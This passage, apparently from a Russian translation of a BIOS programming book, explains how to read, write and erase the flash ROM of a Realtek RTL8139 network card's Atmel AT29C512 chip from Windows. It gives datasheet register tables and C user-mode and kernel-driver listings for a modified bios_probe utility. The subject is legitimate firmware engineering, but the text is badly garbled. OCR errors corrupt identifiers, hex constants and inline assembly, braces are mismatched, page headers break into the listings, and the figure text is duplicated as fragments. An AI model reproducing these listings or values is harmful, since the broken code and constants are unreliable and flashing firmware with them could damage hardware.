В данном разделе объясняются методы работы с BIOS расширения плат PCI из Windows. Прежде чем приступить к изучению методов доступа, рекомендуется освежить ваши знания регистра xrombar, перечитав разд. 7.1.4. После повторного прочтения этого раздела у вас может создаться впечатление, что подобно обращению к системной BIOS на материнской плате, для обращения к BIOS сетевой платы будет применяться метод отображения на память содержимого BIOS платы расширения PCI (см. разд. 9.3}. Хотя этот способ действительно применим к некоторым сетевым платам PCI, с рядом сетевых плат он работать не будет. Дело в том, что некоторые сетевые платы PCI не используют свой регистр xrombar. Это означает, что к содержимому BIOS таких плат нельзя обращаться с помощью регистра xrombar. Пример такой сетевой платы, на чипе семейства Realtek RTL8139, будет приведен далее в этом разделе.
Исходный код программы, рассматриваемой в этом разделе, можно скачать по адресу http://www.kaos.ru/bios_probc/. Это модернизированная версия утилиты bios_probe, с которой мы ознакомились в разд. 9.3, а именно bios probe V. 0.31.Утилита поддерживает одну сетевую плату (Realtek 8139) и один чип флэш-ROM (Atmel АТ29С512). Подробное объяснение исходного кода будет приведено в разд. 9.5.3. Но для понимания этого исходного кода необходимы некоторые предварительные знания, которые можно почерпнуть в разд. 9.5.1 и 9.5.2.
Обращение к чипу RTL8139
К содержимому чипа флэш-ROM сетевой карты на чипе RTL8139 нельзя получить прямой доступ через адресное пространство физической памяти центрального процессора. Причиной этому является то обстоятельство, чТ°
^ТЪ8139 отображает свой чип флэш-ROM не на адресное пространство na- ^яти, а на адресное пространство ввода-вывода. Это отображение выполняется первым регистром BAR в чипе RTL 8139. Значение самого младшего бита это- г0 регистра BAR жестко установлено в 1. Это означает, что он отображается на пространство ввода-вывода. Ознакомьтесь со следующим фрагментом из спецификации технических характеристик чипа RTL8139. Данную спецификацию можно скачать бесплатно по следующему адресу http://pdn.alldatashcet.com/ (}atasheet-pdf/view/84677/ETC/RTL8139.html.
Здесь же приводится фрагмент этой спецификации, минимально необходимый для понимания обсуждаемых вопросов.
Фрагмент спецификации технических характеристик чипа RTL8139
Таблица конфигурационного пространства PCI
Регистр ioar:31 Этот регистр указывает базовый адрес ввода-вывода, необходимый для построения карты адресов при выполнении конфигурирования. Кроме того, он указывает необходимое количество байтов, вместе с признаком того, что содержимое чипа ROM можно отображать на пространство ввода- вывода.
Бит
Обозначение
Описание
31-8
IOAR 31-8
Базовый адрес ввода-вывода. Устанавливается программно в значение базового адреса ввода-вывода для карты рабочих регистров
7-2
IOSIZE
Указатель размера. При считывании возвращает 0. Это позволяет мосту PCI определить, что чипу RTL8139C(L) необходимо 256 байтов пространства ввода-вывода
1
—
Зарезервировано
0
IOIN
Указатель пространства ввода-вывода. Защищен от записи. Чип RTL8139C(L) устанавливает значение этого бита в 1, таким образом указывая, что его можно отображать на адресное пространство ввода/вывода
Как следует из только что приведенной выдержки из спецификации техник ских характеристик, диапазон адресов, используемый чипом RTL8139, жест^ прошит в адресное пространство ввода-вывода. Это означает, что любое уСт ройство, находящееся "за" этим чипом, можно адресовать только через диапа. зон адресов ввода-вывода, занимаемый чипом RTL8139. К таким устройствам относится и чип флэш-ROM сетевой карты.
Чип RTL8139 определяет 256 регистров размером в 1 байт, которые можно перемещать в пределах адресного пространства памяти PCI или адресного пространства ввода-вывода. Из этих 256 регистров, четыре смежных регистра используются для обращения к содержимому чипа флэш-ROM. Это регистры D4h-D7h. Обратите внимание, что эти четыре регистра не являются конфигурационными регистрами чипа RTL8139. Это совсем другой набор регистров. В эти регистры можно записывать информацию и считывать ее из них. Значения битов этих регистров перечислены в табл. 9.3.
Таблица 9.3. Регистр чтения и записи флэш-памяти (смещение 00D4h-00D7h, R/W)
Бит
R/W
Обозначение
Описание
31-24
R/W
MD7-MD0
Шина данных флэш-памяти. Эти биты устанавливаются и отображают статус выводов MD7-MD0 при чтении и записи
23-21
—
-
Зарезервировано
20
W
ROMCSB
Выбор чипа (Chip Select). Устанавливает статус вывода romcsb 32
19
W
ОЕВ
Разрешение вывода (Output Enable). Устанавливает статус вывода оев (Output Enanble Boot PROM)
18
W
WEB
Разрешение записи (Write Enable). Устанавливает статус вывода web (Write Enanble Boot PROM)
17
W
SWRWEn
Управление программным доступом к флэш-памяти.
0 — Запрещает программный доступ к флэш- памяти для чтения и записи.
1 — Разрешает программный доступ к флэш- памяти для чтения и записи и запрещает доступ к EEPROM во время программного обращения к флэш-памяти_______
16-0
W
МА16-МА0
Шина адреса флэш-памяти. Устанавливают статус
ВЫВОДОВ МА1 б -МАО-
32 romcsb (ROM Chip Select) — сигнал выборки чипа загрузочной PROM.
|4нф°Рмация’ пРивеДенная в табл. 9.3, позволяет заключить, что для доступа , чИпу флэш-ROM необходимо выполнить операцию чтения-записи в регист, D4h-D7h чипа RTL8139. Перед выполнением этой операции необходимо определить местонахождение этих регистров в адресном пространстве ввода-
вЬ1вода, так как они не имеют постоянного адреса в адресном пространстве ввода-вывода PCI.
разовый адрес ввода-вывода определяется следующим способом:
Сканируется шина PCI на присутствие устройства PCI RTL8139, т. е. устройства PCI, чей идентификатор производителя равен юеси, а идентификатор устройства — 8139.
После того как устройство RTL8139 будет обнаружено, считывается первый регистр BAR данного устройства, чтобы определить его базовый адрес ввода-вывода. Следует помнить, что при определении базового адреса ввода-вывода последние два бита регистра BAR, т. е. биты 0—1, не принимаются во внимание. Бит 1 зарезервирован, а бит 0 жестко установлен в 1 и служит для индикации того, что устройство отображается на адресное пространство ввода-вывода. Поэтому эти биты и не принимают участия в формировании адреса.
Один байт из флэш-памяти, расположенной "за” чипом RTL8139, читается в два приема:
. Записывается адрес байта флэш-ROM, который необходимо прочитать. При выполнении этого шага, значения битов управления регистра D6h должны быть следующими:
Бит swRWEn — 1. Разрешается доступ к чипу флэш-ROM через чип RTL8139.
Бит web — 1. Вывод, который управляется этим битом, имеет активный низкий уровень сигнала. Таким образом, когда этот бит установлен, данный вывод деактивируется, означая, что транзакция, выполняемая с чипом флэш-ROM, не является транзакцией записи.
Бит romcsb — о. Вывод, который управляется этим битом, имеет активный низкий уровень сигнала. Таким образом, установкой этого бита в о активируется линия выборки чипа (chip select line), к которой данный вывод подключен.
Бит оев — о. Вывод, который управляется этим битом, имеет активный низкий уровень сигнала. Таким образом, установкой этого бита в 0 активируется линия разрешения вывода (output enable line), к которой данный вывод подключен.
Считывается значение из регистра D7h чипа RTL8139.
Логика этого алгоритма подобна логике чтения содержимого конфигураци онного регистра PCI.
Что же касается операции записи одного байта, то она невозможна, так как чип RTL8139 поддерживает только форматированные флэш-ROM с посек- торной разметкой. Поэтому, чтобы изменить один байт в такой флэш-Roivf необходимо записать весь сектор, содержащий данный байт. Кроме того, необходимо установить соответствующую комбинацию четырех управляющих битов в регистре D6h. Таким образом, операция записи более сложна, чем операция чтения. Алгоритм для записи одного сектора чипа флэш-ROM показан на рис. 9.7.
Цикл загрузки байта.
Биты управления регистра D6 должны быть установлены следующим образом:
.Бит SWRWEn - 1, чтобы разрешить доступ к чипу флэш-ROM. Этот бит имеет активный высокий уровень и не управляет никаким выводом.
.Бит WEB - 0, чтобы активизировать вывод разрешения записи. Вывод, который управляется этим битом, имеет активный низкий уровень.
.БитРОМСЗВ - 0, чтобы активизировать вывод выборки чипа. Вывод, который управляется этим битом, имеет активный низкий уровень.
.Бит ОЕВ - 1, чтобы заблокировать вывод разрешения вывода. Вывод, который управляется этим битом, имеет активный низкий уровень.
Цикл начала записи
Биты управления регистра D6 должны быть установлены следующим образом: 1 .Бит SWRWEn - 1, чтобы разрешить доступ к чипу флэш ROM. Этот бит имеет активный высокий уровень и не управляет никаким выводом.
.Бит WEB - 1, чтобы дезактивировать вывод разрешения записи. Вывод, который управляется этим битом, имеет активный низкий уровень.
.Бит ROMCSB - 1, чтобы дезактивировать вывод выборки чипа. Вывод, который управляется этим битом, имеет активный низкий уровень.
.Бит ОЕВ - 1, чтобы запретить вывод разрешения вывода. Вывод, который управляется этим битом, имеет активный низкий уровень.
Цикл ожидания завершения записи
В данном цикле осуществляется задержка в ожидании завершения записи полного сектора чипа флэш-ROM. Для некоторых чипов флэш-ROM запись одного сектора занимает около 10 мс. Точную информацию можно найти в технических спецификациях на конкретный чип.
Рис. 9.7. Алгоритм записи одного сектора чипа флэш-ROM сетевой карты на чипе RTL8139
{цзва 9. Обращение к BIOS из операционной системы 465 pje расстраивайтесь, если на данном этапе понимание этого алгоритма вызы- еает у вас затруднения. После рассмотрения реализации исходного кода все трудности и проблемы разрешатся. На этом предварительное обсуждение, необходимое для работы с чипом RTL8139, можно считать завершенным.
Обращение к Чипу Atmel АТ29С512
Почти все аспекты выполнения операций с чипом флэш-ROM Atmel ДТ29С512 через чип RTL8139 были рассмотрены в предыдущем разделе. Осталось лишь кратко изложить информацию, специфичную для чипа флэш- ДТ29С512, а именно: каким образом стирается содержимое чипа и какой должна быть выдержка после записи сектора чипа.
В спецификации технических характеристик чипа АТ29С512 указано время выдержки при записи одного сектора 10 мс. Но в ходе моих экспериментов я установил, что выдержка в 9 мс является достаточной.
Чтобы полностью стереть чип, необходимо записать конкретные значения по определенным адресам чипа. Эти последовательности байтов и адресов будут показаны при обсуждении реализации исходного кода. Метод, с помощью которого осуществляется запись этих последовательностей, описан в руководстве "Software Chip Erase Application Note for AT29 Series Flash Family" ("Примечание no программному стиранию чипов флэш-семейства АТ29"). Эту и другие спецификации, регламентирующие технические подробности работы с чипом флэш-ROM, можно скачать по адресу http://www.atmel.com/dyn/products/ product_card.asp?family_id=624&family_name=Flash+Memory&part_id=1803.
Исходный код программного обеспечения Для обращения к чипу флэш-ROM
С целью сокращения времени разработки, способы обращения к чипу флэш- ROM через чип RTL8139 в Windows основаны на исходном коде утилиты bios_probe. Но я должен предупредить вас, что в данном исходном коде поддержка BIOS расширения PCI реализована на скорую руку. Стыковка этих функциональных возможностей с общим исходным кодом не является бесшовной, так как строгие требования к тактированию вынуждают исполнять часть кода в драйвере устройства. Модификации, внесенные в код прогРаммы bios_probe для реализации функциональных возможностей по поддержке BIOS расширения PCI, заключаются в добавлении файлов для приложения пользовательского режима и файлов для драйвера устройства, ^овые файлы для драйвера устройства добавляют поддержку для части кода, Критичной к временным параметрам. Чтобы приспособить bios_probe к ра-
боте с новыми файлами, остальные файлы утилиты также модифицированы К исходному коду приложения пользовательского режима добавлены следующие файлы:
pci_cards.h — определяет структуру данных для виртуализации платы расширения PCI.
pci_cards.c — виртуализирует обращение к платам расширения PCI.
rtl8139.h — объявляет функции чтения и записи чипа флэш-ROM в сетевой плате RTL8139.
rtl8139.c — реализует функции чтения и записи чипа флэш-ROM в сетевой плате RTL8139.
at29c512.h — объявляет функции чтения, записи, стирания и "зондирования" чипа флэш-ROM АТ29С512.
at29c512.c — реализует функции чтения, записи, стирания и "зондирования" чипа флэш-ROM АТ29С512.
К исходному коду драйвера устройства добавлены следующие файлы:
rtl8139_hack.h — объявляет специальную функцию для записи в чип флэш-ROM АТ29С512, установленном в сетевой плате RTL8139.
rtl8139_hack.c — реализует функцию, объявленную в файле rtl8139_hack.h.
Прежде чем приступить к рассмотрению содержимого этих новых файлов, необходимо объяснить модификации, выполненные в остальных файлах исходного кода, чтобы приспособить их к работе с добавленными файлами. Начнем с рассмотрения модификации основного файла приложения пользовательского режима — flashrom.c (см. листинг 9.45). В него я добавил три новые команды — для чтения, записи и стирания содержимого чипа ROM BIOS расширения PCI.
Листинг 9.45. Модифицированный файл flash„rom.c
/*
* Файл: flash-гот.с
*/
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
#include "pci_cards. h"
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
void usage(const char *name)
printf ("usage: %s [-rw] [-c chipname][file] \n", name);
//printf ("Применение: %s [-rw] [-с название чипа] [файл] \n", имя);
printf{"
%s
-pcir
[file]\n",
name) ;
printf("
%s
-pciw
[file]\n",
name) ;
printf ("
%s
-pcie
\n", name),
printf( "-г:
read flash and save
into fileXn
// Прочитать содержимое чипа флэш-ROM материнской платы
// и сохранить в файл
"-rv:read flash, save into file and verify result "
"against contents of the flashXn"
// Прочитать содержимое чипа флэш-ROM
// материнской платы, сохранить в файл
// и сверить содержимое файла с содержимым чипа флэш-ROM "-w:write file into flash (default when file is "
"specified)\n"
// Записать файл в чип флэш-ROM материнской платы
// (Операция по умолчанию, когда указан файл).
"-w: write file into flash and verify result against" " original fileXn"
//Записать файл в чип флэш-ROM материнской платы и сверить // результат с исходным файлом.
"-с:probe only for specified flash chipXn"
// Искать только указанный чип флэш-ROM материнской платы "-pcir: read pci ROM contents to fileXn"
// Считать содержимое чипа ROM PCI в файл
"-pciw: write file contents to pci ROM and verify the " "resultXn"
// Записать файл в чип ROM PCI и сверить
// результат с исходным файлом.
"-pcie: erase pci ROM contentsXn");
// Стереть содержимое чипа ROM PCI
exit(l);
)
* * Часть строк кода опущена, как не являющаяся необходимой
^ Для понимания рассматриваемого процесса.
nt ^in (int argc, char * argv[J)
^ Часть строк кода опущена, как не являющаяся необходимой
Ц для понимания рассматриваемого процесса. } else if (!strcrnp(argv[l], "-pcir")) { pci_rom_read = 1;
filename = argv[2];
} else if(!strcmp(argv[l], "-pciw")) { pci_rom_write = 1;
filename = argv[2);
) else if(!strcmp(argv[l], "-pcie")) { pci_rom_erase = 1;
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
И
// Если задача - прозондировать PCI — // выполнить ее и завершить работу. // if( pci_rom_read ) {
// Найти сетевую плату Realtek 8139.
card = find_pci_card( OxlOEC, 0x8139); if( NULL != card ) {
probe_pci_rom(card) ;
)
if( (NULL ! = card) && ( NULL ! = card->rom ) ) {
printf("PCI ROM type = %s \n", card->rom->name);
size = card->rom->total_size * 1024; buf = (char *) calloc(size, sizeof(char));
if(buf == NULL) (
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
return 0;
1
if((image = fopen( filename, "wb" )) == NULL ) (
,/ Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
return 0; }
card->rom->read(card, buf) ;
fwrite(buf, sizeof(char), size, image); fclose(image);
free(buf);
printf("done\n") ; M Выполнено
}
CleanupDriver(); // Освобождаем ресурсы // интерфейса драйвера, return 0;
} else if(pci_rom_write) {
// Найти сетевую плату Realtek 8139. card = find_pci_card( OxlOEC, 0x8139); if( NULL != card ) {
probe_pci_rom(card) ;
}
if( (NULL != card) && ( NULL != card->rom ) ) {
printf("PCI ROM type = %s \n", card->rom->name);
size = card->rom->total_size * 1024; buf = (char *) calloc(size, sizeof(char));
if(buf == NULL) (
И Часть строк кода опущена, как не являющаяся необходимой
II для понимания рассматриваемого процесса, return 0;
}
if((image = fopen( filename, "rb" )) == NULL ) {
//
Часть строк кода опущена, как не являющаяся необходимой
//
для понимания рассматриваемого процесса, return 0;
}
fread (buf, sizeof(char), size, image);
card->rom->write(card, buf);
fclose(image);
free(buf);
printf("done\n”); //Выполнено
CleanupDriver(); // Освобождаем ресурсы // интерфейса драйвера, return 0;
}
else if(pci_rom_erase)
{
// Найти сетевую плату Realtek 8139, card = find_pci_card( OxlOEC, 0x8139); iff NULL != card ) (
probe_pci_rom(card);
}
iff (NULL ! = card) && ( NULL != card->rom ) ) (
printffPCI ROM type = %s \n", card->rom->name); card->rom->erase(card);
)
CleanupDriver(); // Освобождаем ресурсы // интерфейса драйвера, return 0;
}
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
файлы, реализующие интерфейс приложения пользовательского режима драйвером (direct_io.c и interfaces.h), также подвергаются модификации (сМ- листинги 9.46 и 9.47).
1нг 9.46. Модифицированный файл directjo.c
/*
Имя файла: flash.h
*1
I/ часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
void WriteRtl8139RorriHack(ULONG ioBase, ULONG bufLength, UCHAR * buf) (
DWORD bytesReturned;
//
// Установить базовый адрес ввода-вывода для RTL8139 //в расширении объекта устройства.
//
if(ioBase == 0) return;
if( INVALID_HANDLE_VALUE == hDevice) { printf (" (WriteRtl8139RornHack) Error: the driver handle is " "invalid!\n");
//Ошибка: Недействительный дескриптор драйвера, return;
}
if( FALSE == DeviceloControl( hDevice,
IOCTL_RTL8139_IOBASE_HACK, NULL, 0, &ioBase, sizeof(ioBase), &bytesReturned, NULL)) (
DisplayErrorMessage(GetLastErrort)); return;
16 Зак 1387
472
}
И
11 Указываем драйверу начать запись в чип флэш-ROM. И
if( INVALID_HANDLE_VALUE == hDevice) { printf("(WriteRtl8139RomHack) Error: the driver handle is " "invalid! \n");
//Ошибка: Недействительный дескриптор драйвера, return;
}
if( FALSE == DeviceloControl( hDevice,
IOCTL_RTL8139_ROM_WRITE_HACK, NULL, 0, buf, bufLength,
&bytesReturned, NULL)) {
DisplayErrorMessage(GetLastError()); return;
} }
Листинг 9.47. Модифицированный файл interfaces.h
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
#define IOCTL_RTL8139_ROM_WRITE_HACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x080В, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
#define IOCTL_RTL8139_IOBASE_HACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x080C, METHOD_OUT_DIRECT, FILE_READ_DATA | FILE_WRITE_DATA)
// Часть строк кода опущена, как не являющаяся необходимой И для понимания рассматриваемого процесса.
Обратите внимание, что файл interfaces.h используется в исходном коДе к® драйвера, так и приложения пользовательского режима. Я объявил два но кода IOCTL для поддержки обращения к BIOS расширения PCI.
цто касается драйвера устройства, то в нем незначительной модификации подверглась структура данных расширения объекта устройства. Цель модификации — реализация поддержки сетевой платы RTL8139. Соответствующий исходный код показан в листинге 9.48.
^истинг 9.48. Модифицированный файл bios_probe.h
rypedef struct _DEVICE_EXTENSION{
MMIO_RING_0_MAP mapZone[MAX_MAPPED_MMIO];
ULONG rt!8139loBase; // Импровизированное решение!
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
С этой же целью был доработан основной файл драйвера, biosprobe.c. Соответствующий исходный код показан в листинге 9.49.
Листинг 9.49. Модифицированный файл bios_probe.c
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
^include "rtl8139_hack.hn
// Часть строк кода опущена, как не являющаяся необходимой // для понимания рассматриваемого процесса.
KTSTATUS DriverEntry( IN PDRIVER_OBJECT Driverobject, IN PUNICODE-STRING RegistryPath ) {
PDEVICE_EXTENSION pDevExt;
// Часть строк кода опущена, как не являющаяся необходимой ^ для понимания рассматриваемого процесса.
pDevExt->rtl8139IoBase = 0; // Quick hack!
■ / Часть строк кода опущена, как не являющаяся необходимой Для понимания рассматриваемого процесса.
Часть строк кода опущена, как не являющаяся необходимой // _ понимания рассматриваемого процесса.
^STATUS DispatchloControl ( IN PDEVICE_OBJECT pDO, IN PIRP plrp)
^STATUS Status = STATUS-SUCCESS;
PIO_STACK_LOCATION irpStack = loGetCurrentlrpStackLocation(pIrp);
ULONG * pIoBase = NULL;
ULONG bufLength, i;
UCHAR * buf;
PDEVICE_EXTENSION pDevExt;
switch (irpStack->Parameters. DeviceloControl. loControlCode) (
// Часть строк кода опущена, как не являющаяся необходимой
// для понимания рассматриваемого процесса.
case IOCTL_RTL8139_IOBASE_HACK: // Должен быть вызван перед
//IOCTL_RTL8139_ROM_WRITE_HACK
// (запись в ROM RTL8139). {
if(irpStack->Parameters.DeviceloControl.OutputBufferLength
>= sizeof(ULONG)) {
pIoBase = (ULONG*) MnGetSystemAddressForMdlSafe( p!rp->MdlAddress, NormalPagePriority);
pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension; pDevExt->rtl8139loBase = *p!oBase;
} else { status = STATUS_BUFFER_TOO_SMALL;
)}break;
case IOCTL_RTL8139_ROM_WRITE_HACK: // Должен быть вызван после 11 IOCTL_RTL8139_IOBASE_HACK.
{
bufLength =
irpStack->Parameters.DeviceloControl.OutputBufferLength;
DbgPrint("IOCTL_RTL8139_ROM_WRITE_HACK: "buffer length = %d\n", bufLength);
buf = (UCHAR*) MrrGetSystemAddressForMdlSafe( p!rp->MdlAddress, NormalPagePriority);
pDevExt = (PDEVICE_EXTENSION) pDO->DeviceExtension;
DbgPrint("IOCTL_RTL8139_ROM_WRITE_HACK:"
" pDevExt->rtl8139IoBase = %X\n", pDevExt->rtl8139IoBase);
WriteRtl8139RomHack(pDevExt->rtl8139IoBase, bufLength, buf) ;
}break;
)
// часть строк кода опущена, как не являющаяся необходимой
// ддя понимания рассматриваемого процесса.
}
При отладке драйвера устройства, показанного в листинге 9.49, я применял функцию DbgPrint. Для этой цели можно также применить бесплатную утилиту Debugview (http://www.microsoft.com/technet/sysinternals/Miscellaneous/ DebugView.mspx), разработанную Марком Руссиновичем (Mark Russinovich). Чтобы воспользоваться этой утилитой, запустите ее и активизируйте опции Capture | Capture Kernel, Capture | Pass-Through и Capture | Capture Events. Опцию Capture | Capture Wind32 необходимо отключить, так как она будет засорять вывод ненужными сообщениями. Пример вывода, выдаваемого этой утилитой для разрабатываемого драйвера, показан на рис. 9.8.
На этом ознакомление с модификациями, внесенными в файлы оригинальной утилиты bios_probe, рассмотренной в разд. 9.3, с тем, чтобы приспособить ее для работы с BIOS плат расширения PCI, можно считать завершенным. В версию 0.31 этой утилиты были также добавлены новые файлы. Начнем ознакомление с ними с новых файлов драйвера. Соответствующие исходные коды показаны в листингах 9.50 и 9.51.
у <01 ,^|у <01 ,^|Эе № Capture Options Сощрисег yelpЭе № Capture Options Сощрисег yelpLvDLvDAA| Debug Print| Debug PrintVriteRtl8139RomHack: output buffer ж EB04AA55VriteRtl8139RomHack: output buffer ж EB04AA55ebugView on \\KOKOREVA (total)ebugView on \\KOKOREVA (total)buffer length • 65536 pDevExt->rtl8139IoBase ж B801 - B801B800 loopbuffer length • 65536 pDevExt->rtl8139IoBase ж B801 - B801B800 loopРис. 9.8. Вывод утилиты DebugView для драйвера bios_probeРис. 9.8. Вывод утилиты DebugView для драйвера bios_probe0.0000000037.7448654237.8211746237 8211875137.8212051437.8212089537.8212127738 5480575647.9256668147.925666810.0000000037.7448654237.8211746237 8211875137.8212051437.8212089537.8212127738 5480575647.9256668147.92566681DeviceObject 8198F028
у <01 ,^|
у <01 ,^|
Эе № Capture Options Сощрисег yelp
Эе № Capture Options Сощрисег yelp
LvD
LvD
A
A
| Debug Print
| Debug Print
VriteRtl8139RomHack: output buffer ж EB04AA55
VriteRtl8139RomHack: output buffer ж EB04AA55
ebugView on \\KOKOREVA (total)
ebugView on \\KOKOREVA (total)
buffer length • 65536 pDevExt->rtl8139IoBase ж B801 - B801
B800 loop
buffer length • 65536 pDevExt->rtl8139IoBase ж B801 - B801
B800 loop
Рис. 9.8. Вывод утилиты DebugView для драйвера bios_probe
Рис. 9.8. Вывод утилиты DebugView для драйвера bios_probe
0.00000000
37.74486542
37.82117462
37 82118751
37.82120514
37.82120895
37.82121277
38 54805756
47.92566681
47.92566681
0.00000000
37.74486542
37.82117462
37 82118751
37.82120514
37.82120895
37.82121277
38 54805756
47.92566681
47.92566681
DeviceObject 8198F028
ICCTL_RTL8139_RGM+URITE_HACK: IOCTL_RTL8139_ROM_URITE_HACK: VriteRt18139RomHack: baseAddr VriteRtl8139RomHack: ioBas- ж Setting up microsecond timing 145 5M loops per second
Листинг 9.50. Файл rtI6139„hack.h
«ifndefRTL8139_HACK_H__
«defineRTL8139_HACK_H__
#include<ntddk. h>
void WriteRtl8139RomHack(ULONG ioBase, ULONG bufLength, UCHAR-* buf) ;
#endif //_RTL8139_HACK_H_
Листинг 9.51. Файл rt!8139„hack.c
«include <ntddk.h>
enum {
SECTOR_SIZE = 128,
};
// Считаем до миллиарда и засекаем время. Если меньше чем 1 сек., // считаем до 10 миллиардов.
// Продолжаем до тех пор, пока время счета не превысит 1 секунду.
static unsigned long micro = 1;
static void usec_delay(int time)
{
volatile unsigned long i;
for(i = 0; i < time * micro; i++)
}
static int usec_calibrate_delay()
{
int count = 1000;
unsigned long timeusec;
int ok = 0;
LARGE_INTEGER freq, cnt_start, cnt_end;
DbgPrintfSetting up microsecond timing loop\n");
// Устанавливаем цикл для замера микросекунды.
// Узнаем число отсчетов за секунду.
KeQueryPerfonnanceCounter(&freq);
if( freq.QuadPart < 1000000)
{
return 0; /l Неудача
)
while (! ok) {
cnt_start = KeQueryPerfonnanceCounter(NULL); usec_delay(count);
cnt_end = KeQueryPerfonnanceCounter(NULL);
timeusec = (ULONG)(((cnt_end.QuadPart - cnt_start.QuadPart) * 1000000) / freq.QuadPart);
count *= 2;
if (timeusec < 1000000/4) continue;
ok = 1;
}
// Вычисляем 1 миллисекунду по формуле count/timeusec. micro = count / timeusec;
DbgPrint("%ldM loops per second\n", (unsigned long)micro);
return 1; // Успех
static UCHARinline inb(USHORT port) (
UCHAR val;
—asm {
478
Часть IV. Внесение изменений в код Bi^
pushad
;Н Сохраняем содержимое всех регистров.
mov dx, port
;// Получаем адрес порта ввода
in al, dx
;// Считываем один байт из порта.
mov val, al
;// Сохраняем результат в локальной переменной.
popad
; П Восстанавливаем все ранее сохраненные значения регистров
}
return val;
}
static voidinline outl (ULONG value, USHORT port) {
{ pushed;H Сохраняем.содержимое всех регистров.
mov dx, port ; // Получаем адрес порта ввода}
mov eax, value;// Считываем значение для записи ; // непосредственно из памяти пользовательского режима.
out dx, eax ; // Записываем байты в устройство.
popad;Н Восстанавливаем все ранее сохраненные значения регистров.
static voidinline WriteRtl8139RorriByte (USHORT ioBase, UCHAR value,
ULONG addr )
{
outl((addr & OxOlFFFF) | OxOAOOOO | (value«24), ioBase + 0xD4);
outl((addr & OxOlFFFF) | OxlEOOOO | (value«24), ioBase + 0xD4); }
static UCHARinline ReadRtl8139RoiriByte (USHORT ioBase, ULONG addr ) (
outl((addr & OxOlFFFF)|0x060000, ioBase + 0xD4);
return inb(ioBase + 0xD7);
fpaea 9- Обращение к BIOS из операционной системы )
^ WriteRtl8139RomHack(ULONG baseAddr, ULONG bufLength, UCHAR * buf) {
ULONG i, j, sectorStartAddr;
USHORT ioBase;
DbgPrint(MWriteRtl8139RamHack: baseAddr = %X\n", baseAddr);
//
И Узнаем отображение рабочих регистров. // if ( baseAddr & 1 ) // Отображается на ввод-?вывод? { ioBase = ((USHORT)baseAddr) & ~3 ;
DbgPrint("WriteRtl8139RomHack: ioBase = %X\n", ioBase); ) else // Нет, отображается на память.
// Не поддерживается этой версией утилиты. {
return;
)
if(0 == usec_calibrate_delay()) (
DbgPrint("WriteRtl8139RomHack: Failed to initialize delayXn");
H He удалось инициализировать задержку
return; }
И
/ / Внимание! Эта команда для записи в флэш-ROM применима И только для чипа АТ29С512.
//
for( i = 0; i < bufLength; i+= SECTOR-SIZE, ) {
asm{ pushed; pushfd;
cli;
}
// Команда записи сектора (отключается программная защита данных) WriteRtl8139RomByte( ioBase, ОхАА, 0x5555 );
WriteRtl8139RomByte( ioBase, 0x55, 0х2ААА );
WriteRtl8139RomByte( ioBase, ОхАО, 0x5555 );
// Записываем все данные в сектор.
j = i;
do{
WriteRtl8139RomByte( ioBase, buf[j], j );
j++;
)while((j % SECTOR_SIZE) != 0);
asm(
sti;
popfd;
popad;
)
usec_delay(9000); И Выдерживаем паузу для завершения записи.
DbgPrint("WriteRtl8139RoniHack: output buffer = %08X\n ",
*((ULONG*)&buf[0]));
}
В листинге 9.50 объявляется функция WriteRtl8139RomHack. С помощью этой функции драйвер отвечает на запрос ioctl_rtl8139_rom_write_hack из приложения пользовательского режима. В листинге 9.51 данная функция записывает содержимое файлового буфера в чип флэш-ROM АТ29С512. Обратите внимание, что в приложении пользовательского режима файловый буфер не копируется в резидентный (неперемещаемый) пул в режиме ядра- Причиной этому является вид кода IOCTL, который указывает буферизацию типа method_out_direct. Поэтому диспетчер ввода-вывода запирает пользовательский буфер, на который указывает параметр lpOutBuffer в функции DeviceioControi, в физической памяти и для обращения к данному буфеРУ создает необходимые таблицы страниц в контексте режима ядра. В контексте
режима ядра на этот буфер указывает указатель buf в функции „jriteRtl8i39RomHack. Листинг 9.51 также содержит исходный код для выпОлнения операции записи в чип флэш-ROM. Цикл for записывает по одному сектору за раз и выдерживает паузу в приблизительно 9 миллисекунд, пре- ^е чем приступить к записи следующего сектора. Эта пауза необходима, чтобы позволить схеме чипа флэш-ROM завершить запись всего сектора.
Теперь рассмотрим новые файлы, добавленные к приложению пользовательского режима. Код, реализующий функциональные возможности для работы с BIOS плат расширения PCI, стыкуется с остальным кодом утилиты bios_probe с помощью кода, содержащегося в файле pcicard.h (см. листинг 9.52).
1стинг 9.52 Файл pci_cards.h
«ifndefPCI_CARDS_H__
«definePCI_CARDS_H__
/*
* ПРИМЕЧАНИЕ: Функции в этом модуле доступны ТОЛЬКО при работающем
*драйвере устройства утилиты bios_probe.
*/
«include "libpci/pci.h"
struct pci_rom;
struct pci_card (
char * name;
struct pci_dev device;
unsigned char (*read_rom_byte) ( struct pci_card *card, unsigned long addr);
unsigned char (*write_rom_byte) (struct pci_card *card, unsigned char value, unsigned long addr );
struct pci_rom * rom;
);
struct pci_rom (
char * name;
3535int manufacturer_id;
35
35
int model_id;
int total_size; // В килобайтах
int sector_size; // В байтах
int (*probe)(struct pci_card *card );
int (*erase)(struct pci_card *card);
int (*write)(struct pci_card *card, unsigned char *buf);
int (*read)(struct pci_card *card, unsigned char *buf);
struct pci_card* find_pci_card( unsigned short vendor_id, unsigned short device_id);
struct pci_rom* probe_pci_rom( struct pci_card *card);
extern struct pci_card pci_cards[];
extern struct pci_rom pci_roms[] ;
#endif / /PCI_CARDS_H
Функции и структуры данных, объявленные в файле pcicards.h, реализованы в файле pci_card.c (см. листинг 9.53).
Листинг 9.43. Файл pcLcaras.c
#include <stdlib.h>
#include <stdio.h>
#include "libpci/pci.h"
#include "direct_io.hn
